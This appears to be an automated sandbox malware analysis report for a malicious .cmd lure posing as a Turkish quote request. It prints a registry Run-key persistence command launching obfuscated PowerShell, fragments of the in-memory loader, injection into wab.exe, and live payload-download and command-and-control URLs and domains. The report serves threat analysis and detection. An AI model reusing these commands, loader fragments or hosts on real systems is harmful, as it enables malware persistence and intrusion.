Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagenes" /t REG_EXPAND_SZ /d "%Frihjulets% -w 1 $Gyps224=(Get-ItemProperty -Path 'HKCU:\Bundfloraernes\').Equalized;%Frihjulets% ($Gyps224)"	Jump to behavior

Source: Yara match	File source: 00000005.00000002.2310523296.0000000009685000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2310422489.0000000008E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2304485459.0000000006292000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2497877400.00000210BCD05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Fedthasenes)$global:Kasinoernes = [System.Text.Encoding]::ASCII.GetString($Strghandlens)$global:Tommie=$Kasinoernes.substring(298043,27863)<#Staynil Stningsbygningerne Gneu Fangetran
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Unexpressibleness $Bagladeren $Admissus221), (Unmuscularly @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Hydrogenolysis = [AppDomain]::CurrentDomain.GetA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Retspraksisenes)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Supercapableness, $false).DefineType($Ext
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Fedthasenes)$global:Kasinoernes = [System.Text.Encoding]::ASCII.GetString($Strghandlens)$global:Tommie=$Kasinoernes.substring(298043,27863)<#Staynil Stningsbygningerne Gneu Fangetran

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA00347 push esi; retf	2_2_00007FFD9BA00376
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA00327 pushad ; retf	2_2_00007FFD9BA00346
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA04E2B push ss; retf	2_2_00007FFD9BA04E46
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA04D8B push ss; retf	2_2_00007FFD9BA04E46
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA0018D push ds; retf	2_2_00007FFD9BA001B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA00108 push ds; retf	2_2_00007FFD9BA001B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA0792D push ebx; retf	2_2_00007FFD9BA0796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA000BD pushad ; iretd	2_2_00007FFD9BA000C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D2AD81 push FFFFFF8Bh; iretd	5_2_07D2AD83
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D2B11F push FFFFFF8Bh; iretd	5_2_07D2B121
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D200D1 push eax; iretd	5_2_07D200ED
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D2AAFA push FFFFFF8Bh; iretd	5_2_07D2AB09
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D2AA98 push FFFFFF8Bh; iretd	5_2_07D2AA9D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D2B0B3 push FFFFFF8Bh; iretd	5_2_07D2B0B5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D20ABF push eax; mov dword ptr [esp], ecx	5_2_07D20AC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D22C74 push FFFFFF8Bh; iretd	5_2_07D22C7D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D2AC7B push FFFFFF8Bh; iretd	5_2_07D2AC89
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07D2007F push eax; iretd	5_2_07D200ED

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Stagenes			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Stagenes			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5446	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4432	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6545	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3089	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Window / User API: threadDelayed 2844	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep count: 6545 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep count: 3089 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 9168	Thread sleep count: 2844 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: svchost.exe, 00000008.00000002.2883874527.000002087C858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2882848775.000002087742B000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.00000000059B8000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.0000000005959000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wab.exe, 0000000F.00000002.2885259023.0000000005996000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: powershell.exe, 00000002.00000002.2507847603.00000210C4F01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 4030000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: C7FEE4			Jump to behavior

Source: wab.exe, 0000000F.00000002.2885259023.00000000059B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager64\WindowsPowerShell\v1.0\powershell.ex
Source: wab.exe, 0000000F.00000002.2885259023.0000000005996000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: wab.exe, 0000000F.00000002.2885259023.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managera
Source: wab.exe, 0000000F.00000002.2885259023.0000000005996000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager6be
Source: wab.exe, 0000000F.00000002.2885259023.00000000059B8000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.0000000005996000.00000004.00000020.00020000.00000000.sdmp, mvourhjs.dat.15.dr	Binary or memory string: [2024/05/02 17:22:16 Program Manager]
Source: wab.exe, 0000000F.00000002.2885259023.00000000059DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [%04i/%02i/%02i %02i:%02i:%02i Program Manager]
Source: wab.exe, 0000000F.00000002.2885259023.00000000059B8000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.2885259023.00000000059DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|

Windows Analysis Report Teklif talebi BAKVENTA-BAKUUsurpationens.cmd

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Private

Contacted Domains

Contacted URLs

Windows Analysis Report
Teklif talebi BAKVENTA-BAKUUsurpationens.cmd

Malware Threat Intel
Provided by

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.80.68	www.google.com	United States	15169	GOOGLEUS	false
45.88.90.110	jgbours284hawara02.duckdns.org	Bulgaria	10753	LVLT-10753US	true
46.254.34.12	duelvalenza.it	Italy	52030	SERVERPLAN-ASIT	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
87.121.105.163	unknown	Bulgaria	43561	NET1-ASBG	false
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
192.169.69.26	jgbours284hawara01.duckdns.org	United States	23033	WOWUS	true

Name	Malicious	Antivirus Detection	Reputation
jgbours284hawara01.duckdns.org	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://duelvalenza.it/wnnSAFMWPwDXGy95.bin	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.duelvalenza.it/wnnSAFMWPwDXGy95.bin/	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp	true	URL Reputation: phishing	unknown
http://87.121.105.163/wnnSAFMWPwDXGy95.bin	false	Avira URL Cloud: safe	unknown
http://87.121.105.163/Terminaljob.toc	false	Avira URL Cloud: safe	unknown
http://www.duelvalenza.it/wnnSAFMWPwDXGy95.bin	false	Avira URL Cloud: safe	unknown

ID:	1435423
Product:	CloudBasic
Start time:	17:20:08
Start date:	02.05.2024
Sample:	Teklif talebi BAKVENTA-BAKUUsurpationens.cmd
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	69288c7e16a8ce2177346b2c62231603
SHA1:	87f0dad6634d4e6bedad3b505adb6c509fdc5f03
SHA256:	b523b20d9df02eaf3cdbb3babbc50ac7cea1889c7a3f561d586b001c02615f8a

Name	Type	MD5	SHA1	SHA256
C:\ProgramData\Microsoft\Network\Downloader\edb.log	data	612365C942234C10AA53212A4E0CEA74	F9E6A9AA38BF317C675B48D0DBD02AF2B5CCF363	2794D5559B9816338176739CB7A0E377BE59B005F7C966EBB7A561044C83FC74
C:\ProgramData\Microsoft\Network\Downloader\qmgr.db	Extensible storage engine DataBase, version 0x620, checksum 0xa4c44316, page size 16384, DirtyShutdown, Windows version 10.0	7F1795C99BE72D4323EE9483367E53E1	AD3925BE649BC8576596E7D4DA97EDD3B0FAC69C	DD9B6BE4360E0F8ACA93A331AD2E85C0BD6A38B88B1DF08E85B066D0AF206E56
C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm	data	C8AEFFC9265D039D42C0F661C60D9CF8	346C243F5D0FB677A78AB648C3CC19E50463B9FF	A1DF2BCF55B91413F2C83B4DE0E8CB76E66D72415A493785E8E291BE955E07AC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\json[1].json	JSON data	35B07141970464FE1515126EE76D86C8	BF560D7B92845B6DE04C7716CE1B62E4637E62E5	B2A7CD5C3E618A0ADFAA1B65E49A88B29060CA7C165DB516C5B32D376A12D4E0
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	data	C7F7A26360E678A83AFAB85054B538EA	B9C885922370EE7573E7C8CF0DDB8D97B7F6F022	C3D527BCA7A1D1A398F5BE0C70237BD69281601DFD7D1ED6D389B2FD8E3BC713
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	F23953D4A58E404FCB67ADD0C45EB27A	2D75B5CACF2916C66E440F19F6B3B21DFD289340	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2jds3a5p.p3n.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5x5u0sid.ubx.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b2y50u2q.jnp.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jup5mnvd.q55.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)	data	073D19E4C7B469C55105F365120DA656	42EE0268A8DBE6E4BE553BFC03BF400AF5DD9FC6	EA8D300713D490F668636F6A30017D59E9CCE214D2E64448EB9C7FFC9BD552FB
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NSZK7E8O5BW8JL21KDF5.temp	data	073D19E4C7B469C55105F365120DA656	42EE0268A8DBE6E4BE553BFC03BF400AF5DD9FC6	EA8D300713D490F668636F6A30017D59E9CCE214D2E64448EB9C7FFC9BD552FB
C:\Users\user\AppData\Roaming\Pleurothotonus.Dil	ASCII text, with very long lines (65536), with no line terminators	9DD669D385B1E1C723A1A9F0D2DB8998	E14218E850F50F64BCD4C3F68EBCFE483B1F5F45	3170F4AE0528F9AC45ADD13828E68C6B5C6E17755F94DA373761CBDDF1F19478
C:\Users\user\AppData\Roaming\mvourhjs.dat	data	874E26D495FB6A444AFECB842C40F4EB	C86FCFC535D4D773EA3A28F8847D1A6E68DFE24B	BC18251F107D6A8FB8AA1DFF6117A0105B675277499655F0BDA59508398492D8
C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	JSON data	DCA83F08D448911A14C22EBCACC5AD57	91270525521B7FE0D986DB19747F47D34B6318AD	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9